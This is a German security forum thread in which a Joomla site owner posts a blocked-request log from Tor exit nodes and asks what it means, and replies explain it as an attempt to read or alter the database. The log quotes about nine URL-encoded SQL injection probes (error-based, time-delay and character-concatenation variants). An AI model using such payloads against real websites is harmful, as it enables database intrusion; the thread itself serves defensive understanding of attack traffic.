Zurück   Trojaner-Board > Malware entfernen > Diskussionsforum
Webseitenangriff aus dem Tor Netzwerk.

Webseitenangriff aus dem Tor Netzwerk.


Diskussionsforum: Webseitenangriff aus dem Tor Netzwerk.

Windows 7 Hier sind ausschließlich fachspezifische Diskussionen erwünscht. Bitte keine Log-Files, Hilferufe oder ähnliches posten. Themen zum "Trojaner entfernen" oder "Malware Probleme" dürfen hier nur diskutiert werden. Bereinigungen von nicht ausgebildeten Usern sind hier untersagt. Wenn du dir einen Virus doer Trojaner eingefangen hast, eröffne ein Thema in den Bereinigungsforen oben.

Antwort
Alt 31.03.2014, 21:28   #1
HyBird
 
Webseitenangriff aus dem Tor Netzwerk. - Standard

Webseitenangriff aus dem Tor Netzwerk.


Ich betreibe meine Homepage schon seit langer Zeit. Joomla Updates werden immer Zeitnah eingespielt. Einen Hack konnte ich bisher nicht feststellen.
Jedoch kommen aus dem Tornetzwerk seltsame Seitenaufrufe die ich nicht kapiere.
Diese Aufrufe werden von dem Pagerestrictor Skript von Botfrei.de bisher erfolgreich geblockt. Dennoch würde ich gerne wissen, was diese seltsamen Seitenaufrufe
zu bedeuten haben. Vesucht hier jemand Code einzuschleusen?

Das Log hat folgendes Format: Datum, Zeit, IP-Adresse, Hostname, Clientname und Zieladresse die aufgerufen wird und den Sperrgrund.

Code:
ATTFilter
13.03.2014 16:45:04 - 96.44.189.102 herngaard.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=convert%28int%2Cdb_name%28%29%29-- - iprange - 96.44.189.0/96.44.189.255 - ?
13.03.2014 16:45:06 - 96.44.189.102 herngaard.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%27%20or%201%3Dconvert%28int%2Cdb_name%28%29%29-- - iprange - 96.44.189.0/96.44.189.255 - ?
13.03.2014 16:45:08 - 96.44.189.102 herngaard.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%3B%20if%20%281%3D1%29%20waitfor%20delay%20%2700%3A01%3A07%27-- - iprange - 96.44.189.0/96.44.189.255 - ?
13.03.2014 16:45:12 - 96.44.189.102 herngaard.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%27%3B%20if%20%281%3D1%29%20waitfor%20delay%20%2700%3A01%3A07%27-- - iprange - 96.44.189.0/96.44.189.255 - ?
13.03.2014 16:45:14 - 96.47.226.22 wannabe.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%20and%20%2F*%2130000if%281%3D1%2CBENCHMARK%28116667200%2CMD5%280x41%29%29%2C0%29*%2F - iprange - 96.47.224.0/96.47.226.255 - ?
13.03.2014 16:45:15 - 96.47.226.22 wannabe.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%27%20and%20%2F*%2130000if%281%3D1%2CBENCHMARK%28116667200%2CMD5%280x41%29%29%2C0%29*%2F%20and%20%27x%27%3D%27x - iprange - 96.47.224.0/96.47.226.255 - ?
13.03.2014 16:45:17 - 96.47.226.22 wannabe.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%27%20or%201%3Dconvert%28int%2C%28select%20concat%28version%28%29%2C0x7233646D3076335F73716C5F696E6A656374696F6E%29%29%29-- - iprange - 96.47.224.0/96.47.226.255 - ?
13.03.2014 16:45:19 - 96.47.226.22 wannabe.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%27%20or%201%3Dconvert%28int%2C%28select%20cast%28Char%28114%29%2bChar%2851%29%2bChar%28100%29%2bChar%28109%29%2bChar%2848%29%2bChar%28118%29%2bChar%2851%29%2bChar%2895%29%2bChar%28104%29%2bChar%28118%29%2bChar%28106%29%2bChar%2895%29%2bChar%28105%29%2bChar%28110%29%2bChar%28106%29%2bChar%28101%29%2bChar%2899%29%2bChar%28116%29%2bChar%28105%29%2bChar%28111%29%2bChar%28110%29%20as%20nvarchar%284000%29%29%29%29-- - iprange - 96.47.224.0/96.47.226.255 - ?
13.03.2014 16:45:20 - 96.47.226.22 wannabe.torservers.net - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Media Center PC 6.0; FDM) -  - www.pc-doktor-bonn.de/ihre-meinung?start=45%27%20or%201%3Dconvert%28int%2Cchr%28114%29%7C%7Cchr%2851%29%7C%7Cchr%28100%29%7C%7Cchr%28109%29%7C%7Cchr%2848%29%7C%7Cchr%28118%29%7C%7Cchr%2851%29%7C%7Cchr%2895%29%7C%7Cchr%28104%29%7C%7Cchr%28118%29%7C%7Cchr%28106%29%7C%7Cchr%2895%29%7C%7Cchr%28105%29%7C%7Cchr%28110%29%7C%7Cchr%28106%29%7C%7Cchr%28101%29%7C%7Cchr%2899%29%7C%7Cchr%28116%29%7C%7Cchr%28105%29%7C%7Cchr%28111%29%7C%7Cchr%28110%29%29-- - iprange - 96.47.224.0/96.47.226.255 - ?
Ich finde es irgendwie Gruselig. Vielleicht kann mir einer erklären was hier versucht wird.

Danke im Vorraus.
__________________
Rechner: Acer Extensa 5220|2GB DDR2 RAM|Intel Core2 Duo 7700@2,4 GHz|Win7 U.
Internet: VDSL50000|Modem: Speedport H300
Router: TP-LINK TL-WR1043ND|OpenWrt Backfire 10.03.1|LuCI 0.10.0 Release (0.10.0)
PC Security: Avast Free|Threatfire|Secunia PSI

Alt 04.04.2014, 01:29   #2
Alois S
 
Webseitenangriff aus dem Tor Netzwerk. - Standard

Webseitenangriff aus dem Tor Netzwerk.


Hallo HyBird ,

naja, was soll ich da schon Großartiges dazu sagen können?:

Es handelt sich hierbei um ExitNodes des Tor-Netzwerks, also um Proxyserver mit fester IP, die von allen "Mitgliedern" benutzt werden können;

beide stehen schon mehrfach auf diversen Blacklists, wie du z.B. hier einsehen kannst:

http://whatismyipaddress.com/ip/96.44.189.102

(einfach Adresse eingeben und auf "BlacklistCheck" klicken)

Welche Absichten die Leute jedoch tatsächlich im Einzelfall haben bzw. haben könnten - das lässt sich wohl leider nie wirklich herausfinden.....

Liebe Grüße, Alois
__________________

__________________
Alt 04.04.2014, 07:55   #3
mort
 
Webseitenangriff aus dem Tor Netzwerk. - Standard

Webseitenangriff aus dem Tor Netzwerk.


Zitat:
Vesucht hier jemand Code einzuschleusen?
Ja. Hier wird versucht etwas in der Datenbank zu ändern bzw. etwas zu bekommen.
__________________
Antwort

Themen zu Webseitenangriff aus dem Tor Netzwerk.
100%, angriff, center, client, cmd, code, datum, erfolgreich, folge, folgendes, format, griff, hack, homepage, langer, log, media, netzwerk, seite, seltsame, seltsame seite, start, updates, version, webseite, windows


« Zugriff durch zugangsdaten ? | Business - auf E-Mail Blacklist durch Trojaner Zeus? »


Ähnliche Themen: Webseitenangriff aus dem Tor Netzwerk.


  1. Netzwerk sniffing?
    Überwachung, Datenschutz und Spam - 09.04.2014 (6)
  2. Mein Pc ruft ständig ein fremdes Netzwerk ("nicht identifiziertes Netzwerk")
    Log-Analyse und Auswertung - 17.10.2012 (16)
  3. Bot Netzwerk
    Plagegeister aller Art und deren Bekämpfung - 20.03.2010 (0)
  4. Netzwerk-Probleme / ohne T.online software ein Netzwerk ?
    Netzwerk und Hardware - 18.06.2009 (1)
  5. Probleme mit Netzwerk
    Mülltonne - 13.12.2008 (0)
  6. Netzwerk überwachung
    Alles rund um Windows - 14.09.2008 (1)
  7. Und da war das Netzwerk tot...
    Plagegeister aller Art und deren Bekämpfung - 12.09.2008 (1)
  8. Rechtevergabe im netzwerk WIN XP
    Alles rund um Windows - 02.05.2007 (5)
  9. Netzwerk vs. ntsvcfg
    Alles rund um Windows - 03.02.2007 (4)
  10. Netzwerk konfigurieren
    Netzwerk und Hardware - 28.06.2006 (7)
  11. Netzwerk zugreifen??
    Alles rund um Windows - 17.06.2006 (13)
  12. Übertragungsrate im Netzwerk
    Netzwerk und Hardware - 01.03.2005 (3)
  13. Problem mit IP im Netzwerk
    Netzwerk und Hardware - 09.02.2005 (4)
  14. netzwerk langsam
    Log-Analyse und Auswertung - 19.01.2005 (3)
  15. ZA im Netzwerk
    Antiviren-, Firewall- und andere Schutzprogramme - 21.09.2003 (0)
  16. ZA im Netzwerk?
    Antiviren-, Firewall- und andere Schutzprogramme - 03.02.2003 (6)
Anleitungen und Tipps

- Für alle Hilfesuchenden! Was beachten?

- Anleitung: MyStartSearch.com entfernen

- Anleitung: WebSearches löschen

- Hilfe: iStartSurf entfernen – so gehts!

- Anleitung: Omiga Plus richtig entfernen

- Browser Viren entfernen


Zum Thema Webseitenangriff aus dem Tor Netzwerk. - Ich betreibe meine Homepage schon seit langer Zeit. Joomla Updates werden immer Zeitnah eingespielt. Einen Hack konnte ich bisher nicht feststellen. Jedoch kommen aus dem Tornetzwerk seltsame Seitenaufrufe die ich - Webseitenangriff aus dem Tor Netzwerk....
Archiv
Du betrachtest: Webseitenangriff aus dem Tor Netzwerk. auf Trojaner-Board

Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129